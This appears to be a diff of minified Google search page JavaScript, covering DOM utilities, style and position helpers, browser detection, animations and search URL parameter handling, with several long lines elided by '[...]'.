+_.Kc=function(a,b){for(var c=[b],d=(0,_.Fb)(a.Ay[b].xO);d.length;){var e=d.pop();a.Ay[e].eD||(c.unshift(e),window.Array.prototype.unshift.apply(d,a.Ay[e].xO))}(0,_.Jb)(c);return c};_.Mc=function(a,b){a.Ja||(a.Ay[b].JL((0,_.Xa)(a.ZO,a))&&(0,_.Nc)(a,4),(0,_.zb)(a.M,b),(0,_.zb)(a.D,b),0==a.D.length&&(0,_.Oc)(a),(0,_.Ec)(a))};_.Hc=function(a,b){if((0,_.wb)(a.D,b))return _.j;for(var c=0;c<a.B.length;c++)if((0,_.wb)(a.B[c],b))return _.j;return _.m};_.Pc=function(a,b){a.N=a.Ay[b]};
+_.Qc=function(a){!a.N||a.N.getId();a.N=_.l};_.Rc=function(a,b){1<a.H.length?a.B=(0,_.Lc)(a.H,function(a){return[a]}).concat(a.B):(0,_.Nc)(a,b)};
+_.Nc=function(a,b){var c=a.H;a.D.length=0;for(var d=[],e=0;e<a.B.length;e++){var f=(0,_.Sc)(a.B[e],function(a){var b=(0,_.Kc)(this,a);return(0,_.wc)(c,function(a){return(0,_.wb)(b,a)})},a);(0,_.Gb)(d,f)}for(e=0;e<c.length;e++)(0,_.yb)(d,c[e]);for(e=0;e<d.length;e++){for(f=0;f<a.B.length;f++)(0,_.zb)(a.B[f],d[e]);(0,_.zb)(a.M,d[e])}var g=a.X.error;if(g)for(e=0;e<g.length;e++)for(var h=g[e],f=0;f<d.length;f++)h("error",d[f],b);for(e=0;e<c.length;e++)a.Ay[c[e]]&&(d=a.Ay[c[e]],(f=(0,_.Cc)(d, [...]
+window.setTimeout((0,_.haa)("Module errback failures: "+f),0),d.H.length=0,d.D.length=0);a.H.length=0;(0,_.Ec)(a)};_.Oc=function(a){for(;a.B.length;){var b=(0,_.Sc)(a.B.shift(),function(a){return!this.Ay[a].eD},a);if(0<b.length){(0,_.Jc)(a,b);return}}(0,_.Ec)(a)};_.Fc=function(a,b){for(var c=a.X[b],d=0;c&&d<c.length;d++)c[d](b)};_.Tc=function(a,b,c){return window.Math.min(window.Math.max(a,b),c)};_.Uc=function(a,b,c){return window.Math.abs(a-b)<=(c||1E-6)};
+_.Vc=function(a,b){this.x=(0,_.ja)(a)?a:0;this.y=(0,_.ja)(b)?b:0};_.Wc=function(a,b){this.width=a;this.height=b};_.Xc=function(a,b){return a==b?_.j:!a||!b?_.m:a.width==b.width&&a.height==b.height};_.Yc=function(a){a=a.className;return(0,_.ua)(a)&&a.match(/\S+/g)||[]};_.Zc=function(a,b){var c=(0,_.Yc)(a),d=(0,_.Ib)(arguments,1),e=c.length+d.length;(0,_.$c)(c,d);d=c.join(" ");a.className=d;return c.length==e};
+_.ad=function(a,b){var c=(0,_.Yc)(a),d=(0,_.Ib)(arguments,1),e=(0,_.bd)(c,d),f=e.join(" ");a.className=f;return e.length==c.length-d.length};_.$c=function(a,b){for(var c=0;c<b.length;c++)(0,_.wb)(a,b[c])||a.push(b[c])};_.bd=function(a,b){return(0,_.Sc)(a,function(a){return!(0,_.wb)(b,a)})};_.cd=function(a){return a?new _.dd((0,_.ed)(a)):_.fd||(_.fd=new _.dd)};_.T=function(a){return(0,_.ua)(a)?window.document.getElementById(a):a};_.gd=function(a,b,c){return(0,_.hd)(window.document,a,b,c)};
+_.id=function(a,b){var c=b||window.document;return c.querySelectorAll&&c.querySelector?c.querySelectorAll("."+a):c.getElementsByClassName?c.getElementsByClassName(a):(0,_.hd)(window.document,"*",a,b)};_.jd=function(a,b){var c=b||window.document,d=_.l;return(d=c.querySelectorAll&&c.querySelector?c.querySelector("."+a):(0,_.id)(a,b)[0])||_.l};
+_.hd=function(a,b,c,d){a=d||a;b=b&&"*"!=b?b.toUpperCase():"";if(a.querySelectorAll&&a.querySelector&&(b||c))return a.querySelectorAll(b+(c?"."+c:""));if(c&&a.getElementsByClassName){a=a.getElementsByClassName(c);if(b){d={};for(var e=0,f=0,g;g=a[f];f++)b==g.nodeName&&(d[e++]=g);d.length=e;return d}return a}a=a.getElementsByTagName(b||"*");if(c){d={};for(f=e=0;g=a[f];f++)b=g.className,"function"==typeof b.split&&(0,_.wb)(b.split(/\s+/),c)&&(d[e++]=g);d.length=e;return d}return a};
+_.kd=function(a,b){(0,_.Rb)(b,function(b,d){"style"==d?a.style.cssText=b:"class"==d?a.className=b:"for"==d?a.htmlFor=b:d in _.ld?a.setAttribute(_.ld[d],b):(0,_.eb)(d,"aria-")||(0,_.eb)(d,"data-")?a.setAttribute(d,b):a[d]=b})};_.md=function(a){return(0,_.nd)(a||window)};_.nd=function(a){a=a.document;a=(0,_.od)(a)?a.documentElement:a.body;return new _.Wc(a.clientWidth,a.clientHeight)};
+_.pd=function(){var a=window.document,b=0;if(a){var b=(0,_.nd)(window).height,c=a.body,d=a.documentElement;if((0,_.od)(a)&&d.scrollHeight)b=d.scrollHeight!=b?d.scrollHeight:d.offsetHeight;else{var a=d.scrollHeight,e=d.offsetHeight;d.clientHeight!=e&&(a=c.scrollHeight,e=c.offsetHeight);b=a>b?a>e?a:e:a<e?a:e}}return b};_.qd=function(a){var b=(0,_.rd)(a);a=a.parentWindow||a.defaultView;return new _.Vc(a.pageXOffset||b.scrollLeft,a.pageYOffset||b.scrollTop)};
+_.rd=function(a){return!_.sd&&(0,_.od)(a)?a.documentElement:a.body};_.td=function(a,b,c){return(0,_.ud)(window.document,arguments)};
+_.ud=function(a,b){var c=b[0],d=b[1];if(!_.jaa&&d&&(d.name||d.type)){c=["<",c];d.name&&c.push(' name="',(0,_.jb)(d.name),'"');if(d.type){c.push(' type="',(0,_.jb)(d.type),'"');var e={};(0,_.Wb)(e,d);delete e.type;d=e}c.push(">");c=c.join("")}c=a.createElement(c);d&&((0,_.ua)(d)?c.className=d:(0,_.oa)(d)?_.Zc.apply(_.l,[c].concat(d)):(0,_.kd)(c,d));2<b.length&&(0,_.vd)(a,c,b,2);return c};
+_.vd=function(a,b,c,d){function e(c){c&&b.appendChild((0,_.ua)(c)?a.createTextNode(c):c)}for(;d<c.length;d++){var f=c[d];if((0,_.pa)(f)&&!((0,_.Oa)(f)&&0<f.nodeType)){var g=_.Qb,h;a:{if((h=f)&&"number"==typeof h.length){if((0,_.Oa)(h)){h="function"==typeof h.item||"string"==typeof h.item;break a}if((0,_.Ja)(h)){h="function"==typeof h.item;break a}}h=_.m}g(h?(0,_.Fb)(f):f,e)}else e(f)}};_.wd=function(a){return window.document.createElement(a)};_.xd=function(a){return window.document.creat [...]
+_.yd=function(a,b,c){var d=!!c;c=["<tr>"];for(var e=0;e<b;e++)c.push(d?"<td> </td>":"<td></td>");c.push("</tr>");c=c.join("");b=["<table>"];for(e=0;e<a;e++)b.push(c);b.push("</table>");a=window.document.createElement("DIV");a.innerHTML=b.join("");return a.removeChild(a.firstChild)};
+_.zd=function(a,b){var c=a.createElement("div");_.lc?(c.innerHTML="<br>"+b,c.removeChild(c.firstChild)):c.innerHTML=b;if(1==c.childNodes.length)return c.removeChild(c.firstChild);for(var d=a.createDocumentFragment();c.firstChild;)d.appendChild(c.firstChild);return d};_.od=function(a){return"CSS1Compat"==a.compatMode};_.Bd=function(a,b){(0,_.vd)((0,_.ed)(a),a,arguments,1)};_.Cd=function(a){for(var b;b=a.firstChild;)a.removeChild(b)};_.Dd=function(a,b){b.parentNode&&b.parentNode.insertBefo [...]
+_.Ed=function(a,b){b.parentNode&&b.parentNode.insertBefore(a,b.nextSibling)};_.Fd=function(a){return a&&a.parentNode?a.parentNode.removeChild(a):_.l};_.Gd=function(a,b){var c=b.parentNode;c&&c.replaceChild(a,b)};_.Hd=function(a){return _.kaa&&a.children!=_.ba?a.children:(0,_.Sc)(a.childNodes,function(a){return 1==a.nodeType})};_.Id=function(a){return a.firstElementChild!=_.ba?a.firstElementChild:(0,_.Jd)(a.firstChild,_.j)};
+_.Ld=function(a){return a.nextElementSibling!=_.ba?a.nextElementSibling:(0,_.Jd)(a.nextSibling,_.j)};_.Jd=function(a,b){for(;a&&1!=a.nodeType;)a=b?a.nextSibling:a.previousSibling;return a};_.Md=function(a){return(0,_.Oa)(a)&&1==a.nodeType};_.Nd=function(a){if(_.laa)return a.parentElement;a=a.parentNode;return(0,_.Md)(a)?a:_.l};
+_.Od=function(a,b){if(a.contains&&1==b.nodeType)return a==b||a.contains(b);if("undefined"!=typeof a.compareDocumentPosition)return a==b||(0,window.Boolean)(a.compareDocumentPosition(b)&16);for(;b&&a!=b;)b=b.parentNode;return b==a};_.ed=function(a){return 9==a.nodeType?a:a.ownerDocument||a.document};_.Pd=function(a,b){if("textContent"in a)a.textContent=b;else if(a.firstChild&&3==a.firstChild.nodeType){for(;a.lastChild!=a.firstChild;)a.removeChild(a.lastChild);a.firstChild.data=b}else(0,_. [...]
+_.Qd=function(a,b,c,d){if(a!=_.l)for(a=a.firstChild;a;){if(b(a)&&(c.push(a),d)||(0,_.Qd)(a,b,c,d))return _.j;a=a.nextSibling}return _.m};_.Rd=function(a){if(_.Td&&"innerText"in a)a=a.innerText.replace(/(\r\n|\r|\n)/g,"\n");else{var b=[];(0,_.Ud)(a,b,_.j);a=b.join("")}a=a.replace(/ \xAD /g," ").replace(/\xAD/g,"");a=a.replace(/\u200B/g,"");_.Td||(a=a.replace(/ +/g," "));" "!=a&&(a=a.replace(/^\s*/,""));return a};
+_.Ud=function(a,b,c){if(!(a.nodeName in _.maa))if(3==a.nodeType)c?b.push((0,window.String)(a.nodeValue).replace(/(\r\n|\r|\n)/g,"")):b.push(a.nodeValue);else if(a.nodeName in _.Vd)b.push(_.Vd[a.nodeName]);else for(a=a.firstChild;a;)(0,_.Ud)(a,b,c),a=a.nextSibling};_.Wd=function(a,b,c){if(!b&&!c)return _.l;var d=b?b.toUpperCase():_.l;return(0,_.Yd)(a,function(a){return(!d||a.nodeName==d)&&(!c||(0,_.wb)((0,_.Yc)(a),c))},_.j)};_.Zd=function(a,b){return(0,_.Wd)(a,_.l,b)};
+_.Yd=function(a,b,c,d){c||(a=a.parentNode);c=d==_.l;for(var e=0;a&&(c||e<=d);){if(b(a))return a;a=a.parentNode;e++}return _.l};_.$d=function(a){try{return a&&a.activeElement}catch(b){}return _.l};_.dd=function(a){this.B=a||_.ia.document||window.document};_.ae=function(a){return(0,_.od)(a.B)};_.be=function(a){return(0,_.qd)(a.B)};_.ce=function(a,b,c,d){this.top=a;this.right=b;this.bottom=c;this.left=d};_.de=function(a,b,c,d){this.left=a;this.top=b;this.width=c;this.height=d};
+_.ee=function(a,b,c){(0,_.ua)(b)?(0,_.fe)(a,c,b):(0,_.Rb)(b,(0,_.Za)(_.fe,a))};_.fe=function(a,b,c){(c=(0,_.ge)(a,c))&&(a.style[c]=b)};_.ge=function(a,b){var c=(0,_.rb)(b);if(a.style[c]===_.ba){var d=_.sd?"Webkit":_.he?"Moz":_.lc?"ms":_.ie?"O":_.l,e;e=(e=(0,_.ua)(_.ba)?(0,_.pb)(_.ba):"\\s")?"|["+e+"]+":"";e=b.replace((0,window.RegExp)("(^"+e+")([a-z])","g"),function(a,b,c){return b+c.toUpperCase()});d=d+e;if(a.style[d]!==_.ba)return d}return c};
+_.ke=function(a,b){var c=(0,_.ed)(a);return c.defaultView&&c.defaultView.getComputedStyle&&(c=c.defaultView.getComputedStyle(a,_.l))?c[b]||c.getPropertyValue(b)||"":""};_.le=function(a,b){return a.currentStyle?a.currentStyle[b]:_.l};_.me=function(a,b){return(0,_.ke)(a,b)||(0,_.le)(a,b)||a.style&&a.style[b]};_.ne=function(a){return(0,_.me)(a,"position")};
+_.oe=function(a,b,c){var d,e=_.he&&(_.pe||_.qe)&&(0,_.hc)("1.9");b instanceof _.Vc?(d=b.x,b=b.y):(d=b,b=c);a.style.left=(0,_.re)(d,e);a.style.top=(0,_.re)(b,e)};_.se=function(a){a=a?(0,_.ed)(a):window.document;return _.lc&&!(0,_.kc)(9)&&!(0,_.ae)((0,_.cd)(a))?a.body:a.documentElement};_.te=function(a){var b=a.getBoundingClientRect();_.lc&&(a=a.ownerDocument,b.left-=a.documentElement.clientLeft+a.body.clientLeft,b.top-=a.documentElement.clientTop+a.body.clientTop);return b};
+_.ue=function(a){if(_.lc&&!(0,_.kc)(8))return a.offsetParent;var b=(0,_.ed)(a),c=(0,_.me)(a,"position"),d="fixed"==c||"absolute"==c;for(a=a.parentNode;a&&a!=b;a=a.parentNode)if(c=(0,_.me)(a,"position"),d=d&&"static"==c&&a!=b.documentElement&&a!=b.body,!d&&(a.scrollWidth>a.clientWidth||a.scrollHeight>a.clientHeight||"fixed"==c||"absolute"==c||"relative"==c))return a;return _.l};
+_.ve=function(a){var b,c=(0,_.ed)(a),d=(0,_.me)(a,"position"),e=_.he&&c.getBoxObjectFor&&!a.getBoundingClientRect&&"absolute"==d&&(b=c.getBoxObjectFor(a))&&(0>b.screenX||0>b.screenY),f=new _.Vc(0,0),g=(0,_.se)(c);if(a==g)return f;if(a.getBoundingClientRect)b=(0,_.te)(a),a=(0,_.be)((0,_.cd)(c)),f.x=b.left+a.x,f.y=b.top+a.y;else if(c.getBoxObjectFor&&!e)b=c.getBoxObjectFor(a),a=c.getBoxObjectFor(g),f.x=b.screenX-a.screenX,f.y=b.screenY-a.screenY;else{b=a;do{f.x+=b.offsetLeft;f.y+=b.offsetT [...]
+(f.x+=b.clientLeft||0,f.y+=b.clientTop||0);if(_.sd&&"fixed"==(0,_.ne)(b)){f.x+=c.body.scrollLeft;f.y+=c.body.scrollTop;break}b=b.offsetParent}while(b&&b!=a);if(_.ie||_.sd&&"absolute"==d)f.y-=c.body.offsetTop;for(b=a;(b=(0,_.ue)(b))&&b!=c.body&&b!=g;)if(f.x-=b.scrollLeft,!_.ie||"TR"!=b.tagName)f.y-=b.scrollTop}return f};_.we=function(a){return(0,_.ve)(a).x};_.xe=function(a){return(0,_.ve)(a).y};
+_.ye=function(a,b,c){b instanceof _.Wc?(c=b.height,b=b.width):c==_.ba&&(0,_.aa)((0,window.Error)("missing height argument"));(0,_.ze)(a,b);a.style.height=(0,_.re)(c,_.j)};_.re=function(a,b){"number"==typeof a&&(a=(b?window.Math.round(a):a)+"px");return a};_.ze=function(a,b){a.style.width=(0,_.re)(b,_.j)};
+_.Ae=function(a){if("none"!=(0,_.me)(a,"display"))return(0,_.Be)(a);var b=a.style,c=b.display,d=b.visibility,e=b.position;b.visibility="hidden";b.position="absolute";b.display="inline";a=(0,_.Be)(a);b.display=c;b.position=e;b.visibility=d;return a};_.Be=function(a){var b=a.offsetWidth,c=a.offsetHeight,d=_.sd&&!b&&!c;return(!(0,_.ja)(b)||d)&&a.getBoundingClientRect?(a=(0,_.te)(a),new _.Wc(a.right-a.left,a.bottom-a.top)):new _.Wc(b,c)};
+_.Ce=function(a){var b=(0,_.ve)(a);a=(0,_.Ae)(a);return new _.de(b.x,b.y,a.width,a.height)};_.De=function(a,b){a.style.display=b?"":"none"};_.Ee=function(a){return"none"!=a.style.display};_.Fe=function(a,b){var c=(0,_.cd)(b),d=_.l;if(_.lc)c=d=c.B.createStyleSheet(),_.lc?c.cssText=a:c.innerHTML=a;else{var e=(0,_.hd)(c.B,"head",_.ba,_.ba)[0];e||(d=(0,_.hd)(c.B,"body",_.ba,_.ba)[0],e=c.Ap("head"),d.parentNode.insertBefore(e,d));var f=d=c.Ap("style");_.lc?f.cssText=a:f.innerHTML=a;c.appendCh [...]
+_.Ge=function(a){return"rtl"==(0,_.me)(a,"direction")};_.He=function(a,b,c){c=!c?a.getElementsByTagName("*"):_.l;if(_.Ie){if(b=b?"none":"",a.style[_.Ie]=b,c){a=0;for(var d;d=c[a];a++)d.style[_.Ie]=b}}else if(_.lc||_.ie)if(b=b?"on":"",a.setAttribute("unselectable",b),c)for(a=0;d=c[a];a++)d.setAttribute("unselectable",b)};
+_.Je=function(a,b,c,d){if(/^\d+px?$/.test(b))return(0,window.parseInt)(b,10);var e=a.style[c],f=a.runtimeStyle[c];a.runtimeStyle[c]=a.currentStyle[c];a.style[c]=b;b=a.style[d];a.style[c]=e;a.runtimeStyle[c]=f;return b};_.Ke=function(a,b){var c=(0,_.le)(a,b);return c?(0,_.Je)(a,c,"left","pixelLeft"):0};
+_.Le=function(a,b){if(_.lc){var c=(0,_.Ke)(a,b+"Left"),d=(0,_.Ke)(a,b+"Right"),e=(0,_.Ke)(a,b+"Top"),f=(0,_.Ke)(a,b+"Bottom");return new _.ce(e,d,f,c)}c=(0,_.ke)(a,b+"Left");d=(0,_.ke)(a,b+"Right");e=(0,_.ke)(a,b+"Top");f=(0,_.ke)(a,b+"Bottom");return new _.ce((0,window.parseFloat)(e),(0,window.parseFloat)(d),(0,window.parseFloat)(f),(0,window.parseFloat)(c))};_.Me=function(a){return(0,_.Le)(a,"padding")};_.Ne=function(a){return(0,_.Le)(a,"margin")};
+_.Oe=function(a){for(var b in _.Pe)_.Pe[b]=_.m;for(var c in _.Qe)_.Qe[c]=_.m;b=c=_.l;if(window.opera){_.Pe.opera=_.j;_.Qe.opera=_.j;var d=window.opera.version;d?_.Re=_.Se=(0,_.Ja)(d)?d():d:c=b=/Opera[\/\s](\S+)/}else 0<=a.indexOf("MSIE")?(_.Pe.He=_.j,_.Qe.He=_.j,c=b=/MSIE\s+([^\);]+)(\)|;)/):0<=a.indexOf("WebKit")?(_.Pe.Lt=_.j,c=/Version\/(\S+)/,0<=a.indexOf("Silk-Accelerated")?(_.Qe.kx=_.j,_.Qe.wF=_.j,b=c):0<=a.indexOf("Android")&&0>a.indexOf("Mobile")?(_.Qe.kx=_.j,0<=a.indexOf("Chrome" [...]
+_.j),b=c):0<=a.indexOf("Android")&&0<=a.indexOf("Mobile")?(_.Qe.Fx=_.j,0<=a.indexOf("Chrome")&&(_.Qe.TA=_.j),b=c):0<=a.indexOf("Chrome")?(_.Qe.qz=_.j,b=/Chrome\/(\S+)/):0<=a.indexOf("Safari")&&(_.Qe.FB=_.j,b=c),0<=a.indexOf("iPad")?(_.Qe.vx=_.j,_.Qe.FB||(_.Qe.FB=_.j,b=c)):0<=a.indexOf("iPhone")&&(_.Qe.wy=_.j,_.Qe.FB||(_.Qe.FB=_.j,b=c)),c=/WebKit\/(\S+)/):0<=a.indexOf("Gecko")&&(_.Pe.Fz=_.j,0<=a.indexOf("Firefox")&&(_.Qe.qy=_.j,b=/Firefox\/(\S+)/),c=/rv\:([^\);]+)(\)|;)/);c&&(_.Se=(c=c.ex [...]
+"");b&&(_.Re=(c=b.exec(a))?c[1]:"",_.Qe.He&&(a=window.document?window.document.documentMode:_.ba)&&a>(0,window.parseFloat)(_.Re)&&(_.Re=a.toFixed(1).toString()));(0,_.ha)("google.browser.engine.IE",_.Pe.He,_.ba);(0,_.ha)("google.browser.engine.GECKO",_.Pe.Fz,_.ba);(0,_.ha)("google.browser.engine.WEBKIT",_.Pe.Lt,_.ba);(0,_.ha)("google.browser.engine.OPERA",_.Pe.opera,_.ba);(0,_.ha)("google.browser.engine.version",_.Se,_.ba);(0,_.ha)("google.browser.product.IE",_.Qe.He,_.ba);(0,_.ha)("goog [...]
+_.Qe.qy,_.ba);(0,_.ha)("google.browser.product.SAFARI",_.Qe.FB,_.ba);(0,_.ha)("google.browser.product.IPAD",_.Qe.vx,_.ba);(0,_.ha)("google.browser.product.IPHONE",_.Qe.wy,_.ba);(0,_.ha)("google.browser.product.CHROME",_.Qe.qz,_.ba);(0,_.ha)("google.browser.product.ANDROID_TABLET",_.Qe.kx,_.ba);(0,_.ha)("google.browser.product.ANDROID_MOBILE",_.Qe.Fx,_.ba);(0,_.ha)("google.browser.product.KINDLE_FIRE",_.Qe.wF,_.ba);(0,_.ha)("google.browser.product.OPERA",_.Qe.opera,_.ba);(0,_.ha)("google. [...]
+_.Re,_.ba)};
+_.Te=function(a,b){for(var c=0,d=a.replace(/^\s+|\s+$/g,"").split("."),e=b.replace(/^\s+|\s+$/g,"").split("."),f=window.Math.max(d.length,e.length),g=0;0==c&&g<f;g++){var h=d[g]||"",i=e[g]||"",n=(0,window.RegExp)("(\\d*)(\\D*)","g"),p=(0,window.RegExp)("(\\d*)(\\D*)","g");do{var k=n.exec(h)||["","",""],q=p.exec(i)||["","",""];if(0==k[0].length&&0==q[0].length)break;c=((0==k[1].length?0:(0,window.parseInt)(k[1],10))<(0==q[1].length?0:(0,window.parseInt)(q[1],10))?-1:(0==k[1].length?0:(0,w [...]
+(0==q[1].length?0:(0,window.parseInt)(q[1],10))?1:0)||((0==k[2].length)<(0==q[2].length)?-1:(0==k[2].length)>(0==q[2].length)?1:0)||(k[2]<q[2]?-1:k[2]>q[2]?1:0)}while(0==c)}return c};_.Ue=function(a){return 0<=(0,_.Te)(_.Se,a)};_.Ve=function(a){return 0<=(0,_.Te)(_.Re,a)};
+_.We=function(a){var b=0==a||2==a;a=0==a||1==a?"Height":"Width";if(_.Pe.Lt&&(_.Qe.kx||_.Qe.Fx||_.Qe.wF)){if(_.Qe.wF){var b=window.outerWidth,c=window.screen.width,d=window.screen.height,e=window.devicePixelRatio;0<e&&e<window.Number.MAX_VALUE||(e=1);_.Xe==_.l&&(_.Xe=new _.ac,_.Xe.set(600,1024),_.Xe.set(1024,600),_.Xe.set(800,1200),_.Xe.set(1200,800));for(var f=0,g=_.Xe.UA(),h=0;h<g.length;++h){var i=(0,window.parseInt)(g[h],10);if(b>=i-5&&b<=i+5){f="Width"==a?i:(0,window.parseInt)(_.Xe.g [...]
+break}}0==f&&(f="Width"==a?c:d);return f/e}if("Width"==a)return window.document.documentElement.offsetWidth;a=window.screen.height/window.screen.width;0<a&&a<window.Number.MAX_VALUE||(a=1);b=window.outerHeight/window.outerWidth;if(1<b&&1>a||1>b&&1<a)a=1/a;return window.Math.round(window.document.documentElement.offsetWidth*a)}if(b){if(window["inner"+a])return window["inner"+a];if(window.document.documentElement&&window.document.documentElement["offset"+a])return window.document.documentE [...]
+a]}else return("CSS1Compat"==window.document.compatMode?window.document.documentElement:window.document.body)["client"+a];return 0};_.Ye=function(a){return((0,_.T)("xjsc")||window.document.body).appendChild(a)};_.Ze=function(a,b){var c=a.match(_.$e),d=window.document.createElement(c[1]);c[2]&&(d.className=c[2]);b&&(d.innerHTML=b);return d};
+_.af=function(a,b){var c;if(c=a.match(_.naa)){var d=(0,_.T)(c[1]);return d?[d]:[]}c=a.match(_.$e);d=c[2]&&(0,window.RegExp)("\\b"+c[2]+"\\b");c=(b||window.document).getElementsByTagName(c[1]||"*");for(var e=[],f=0,g;g=c[f++];)(!d||d.test(g.className))&&e.push(g);return e};_.bf=function(a,b){return(0,_.af)(a,b)[0]||_.l};
+_.cf=function(a,b){for(var c=1;c<arguments.length;c+=2){var d=arguments[c],e=arguments[c+1],f=a.style;f&&d in f?f[d]=e:d in a?a[d]=e:_.Pe.He&&(f&&"opacity"==d)&&(a.zoom=1,d=(f.filter||"").replace(/alpha\([^)]*\)/,""),(0,window.isNaN)((0,window.parseFloat)(e))||(d+="alpha(opacity="+100*e+")"),f.filter=d)}return a};_.df=function(a,b,c){c=c||-1;if(a&&b)for(;(a=a.parentNode)&&c--;)if(a==b)return _.j;return _.m};
+_.gf=function(a,b){try{var c=a.getAttribute(b);return c?c:""}catch(d){return(c=a.getAttributeNode(b))?c.value:""}};_.hf=function(a,b){var c=(0,_.xe)((0,_.T)(a));0<=c&&(c+=b||0,window.scrollTo(0,c))};_.jf=function(a){return a};_.kf=function(a){return(3-2*a)*a*a};
+_.lf=function(a,b,c){for(var d=0,e;e=b[d++];){var f="string"==typeof e[2];f?(e[2]=(0,_.mf)(e[2]),e[3]=(0,_.mf)(e[3]),e[5]=""):e[5]=e[5]==_.l?"px":e[5];e[4]=e[4]||_.jf;e[6]=f;(0,_.cf)(e[0],e[1],f?"rgb("+e[2].join(",")+")":e[2]+e[5])}var g={wq:a,Bk:c,e1:window.google.time(),qC:b};_.nf.push(g);_.of=_.of||window.setInterval(_.pf,15);return{finish:function(){g.YJ||(g.YJ=_.j,(0,_.pf)())}}};
+_.pf=function(){++_.oaa;for(var a=0,b;b=_.nf[a++];){var c=window.google.time()-b.e1;if(c>=b.wq||b.YJ){for(var d=0,e=_.ba;e=b.qC[d++];)(0,_.cf)(e[0],e[1],e[6]?"rgb("+e[3].join(",")+")":e[3]+e[5]);b.YJ=_.j;b.Bk&&b.Bk();b=0}else{for(d=0;e=b.qC[d++];){var f=e[4](c/b.wq),g;if(e[6]){g=(0,_.qf)(e[2][0],e[3][0],f,_.j);var h=(0,_.qf)(e[2][1],e[3][1],f,_.j),f=(0,_.qf)(e[2][2],e[3][2],f,_.j);g="rgb("+[g,h,f].join()+")"}else g=(0,_.qf)(e[2],e[3],f,"px"==e[5]);(0,_.cf)(e[0],e[1],g+e[5])}b=1}b||_.nf.s [...]
+1)}_.nf.length||(window.clearInterval(_.of),_.of=0)};_.qf=function(a,b,c,d){a+=(b-a)*c;return d?window.Math.round(a):a};_.mf=function(a){a=a.match(/#(..)(..)(..)/).slice(1);for(var b=0;3>b;++b)a[b]=(0,window.parseInt)(a[b],16);return a};_.rf=function(a){this.api=a;this.Zk=a.c;this.Xc=a.e;this.B=a.g;this.rq=a.h;this.M=a.i;this.D=a.j;this.jd=a.k;this.X=a.l;this.N=a.n;this.S=a.r;this.ra=a.s;this.Ja=a.t;this.H=a.u;this.Lf=a.v;this.aM=a.x;this.ka=a.y;this.Rb=a.z;this.Ia=a.aa;this.Fa=a.ab;this [...]
+_.paa=function(a){this.M=a.a;this.B=a.b;this.D=a.c;this.H=a.d;this.N=a.e;this.S=a.g;this.GF=a.h;this.hb=a.i};_.sf=function(a,b){return!b?_.l:new _.rf(b.api)};_.tf=function(){var a=window.google.comm;return!a?_.l:new _.paa(a)};_.qaa=function(a,b){return a[1]-b[1]};_.uf=function(a){var b=0,c=arguments,d=c.length;1==d%2&&(b=c[d-1]);for(var e=0;e<d-1;e+=2){var f=c[e];_.vf[f]||(_.vf[f]=[]);_.vf[f].push([c[e+1],b]);_.vf[f].sort(_.qaa)}};
+_.wf=function(a){for(var b=0;b<arguments.length-1;b+=2){var c=_.vf[arguments[b]];if(c)for(var d=arguments[b+1],e=0;e<c.length;++e)if(c[e][0]==d){c.splice(e,1);break}}};_.xf=function(a,b,c,d){var e=c===_.ba?_.j:c,f=c===_.m,g=b&&b[0]===c;if(a in _.vf){d===_.ba&&(d=_.m);var h;h="function"==typeof d?d:function(a){return a===d};for(var i=0,n;n=_.vf[a][i++];)if(n=n[0].apply(_.l,b||[]),f)e=e||n;else if(g&&(b[0]=n),e=n,h(e))return e}return"function"==typeof d?c:e};
+_.yf=function(a,b,c){if(!(0,_.xf)(32,[a,b,c],0,_.j))try{(0,window.RegExp)("^("+_.raa+")?/(url|aclk)\\?.*&rct=j(&|$)").test(a)?b?(window.google.r=1,b.location.replace(a)):(_.zf||(_.zf=window.document.createElement("iframe"),_.zf.style.display="none",(0,_.Ye)(_.zf)),window.google.r=1,_.zf.src=a):((/#.*\/blank\.html$/.test(a)||/#.*about:blank$/.test(a))&&window.google.ml((0,window.Error)("navbl"),_.m),window.location.href=a)}catch(d){window.location.href=a}};
+_.Af=function(a,b){var c=(0,_.Bf)().match(/[?&][\w\.\-~]+=([^&]*)/g),d={};if(c)for(var e=0,f;f=c[e++];){f=f.match(/([\w\.\-~]+?)=(.*)/);var g=f[2];d[f[1]]=g}for(f in a)a.hasOwnProperty(f)&&(g=a[f],g==_.l?delete d[f]:d[f]=g);c=["/search?"];e=_.j;for(f in d)d.hasOwnProperty(f)&&(c.push((e?"":"&")+f+"="+d[f]),e=_.m);(0,_.yf)(c.join(""),_.ba,b)};
+_.Bf=function(){var a=window.location,b=a.hash?a.href.substr(a.href.indexOf("#")+1):"",c=b&&b.match(/(^|&)q=/),d=a.search?a.href.substr(a.href.indexOf("?")+1).replace(/#.*/,""):"",b=(c?b:d).replace(/(^|&)(fp|tch)=[^&]*/g,"").replace(/^&/,"");return(c?"/search":a.pathname)+(b?"?"+b:"")};_.Cf=function(a){a=a||window.location;return a.hash?a.href.substr(a.href.indexOf("#")):""};
+_.Df=function(a,b){var c,d=b?0<=(c=b.indexOf("#"))&&b.substr(c):(0,_.Cf)();c="[#&]"+(b?"((q|fp)=|tbs=simg|tbs=sbi)":"fp=");if(d&&d.match(c)){if(d=d.match("[#&]"+a+"=([^&]*)"))return d[1]}else if(d=(b?b.match(/(\?|$)[^#]*/)[0]:window.location.search).match("[?&]"+a+"=([^&]*)"))return d[1];return _.l};_.Ef=function(a,b,c){c?(0,_.Ff)(a,b):(0,_.Gf)(a,b)};_.Hf=function(a,b,c){return(0,_.If)(a,b)?((0,_.Gf)(a,b),(0,_.Ff)(a,c),_.j):_.m};_.Jf=function(a,b){var c=!(0,_.If)(a,b);(0,_.Ef)(a,b,c);return c};
+_.Kf=function(){return(0,_.Ge)(window.document.body||window.document.documentElement)};
+_.Lf=function(a,b,c){var d=c?"":0;if(_.Pe.He){if(d=b.replace(/\-([a-z])/g,function(a,b){return b.toUpperCase()}),d=a.currentStyle&&a.currentStyle[d]||"",!c){if(!/^-?\d/.test(d))return 0;c=a.style.left;a.style.left=d;d=a.style.pixelLeft;a.style.left=c}}else{a=window.document.defaultView&&window.document.defaultView.getComputedStyle(a,"");if(_.Pe.Lt&&!a)return d;d=a.getPropertyValue(b);d=c?d:(0,window.parseInt)(d,10)}return d};
